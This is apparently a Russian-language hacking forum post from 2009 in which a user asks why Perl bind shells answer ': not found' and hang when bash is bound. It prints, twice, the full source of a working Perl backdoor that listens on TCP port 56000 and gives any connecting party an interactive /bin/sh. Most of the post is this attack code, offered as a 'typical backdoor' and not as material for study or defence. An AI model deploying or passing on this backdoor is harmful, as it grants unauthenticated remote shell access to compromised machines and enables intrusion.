Snake Plissken
20.12.2009, 07:30
Столкнулся с таким вот явлением. В perl биндшеллах когда подключаешься и отправляешь команды, то тебе возвращается ": not found". И после каждой команды приходится точку с запятой лепить. Кроме того, когда пробую привязать bash в биндшелле, то при подключении он просто подвисает и ничего не происходит. Кто с этим встречался и как это решить?
Вот код среднестатистического бэкдора на перл
#!/usr/bin/perl
#bindshell.pl
#Usage: perl bindshell.pl &
use Socket;
$p=56000;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') );
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($p,INADDR_ANY));
listen(S,50);
while(1)
{
accept(X,S);
if(!($pid=fork)){
if(!defined $pid){exit(0);}
open STDIN,"<&X";
open STDOUT,">&X";
open STDERR,">&X";
exec("/bin/sh -i");
close X;
}
}
Вот код среднестатистического бэкдора на перл
#!/usr/bin/perl
#bindshell.pl
#Usage: perl bindshell.pl &
use Socket;
$p=56000;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') );
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($p,INADDR_ANY));
listen(S,50);
while(1)
{
accept(X,S);
if(!($pid=fork)){
if(!defined $pid){exit(0);}
open STDIN,"<&X";
open STDOUT,">&X";
open STDERR,">&X";
exec("/bin/sh -i");
close X;
}
}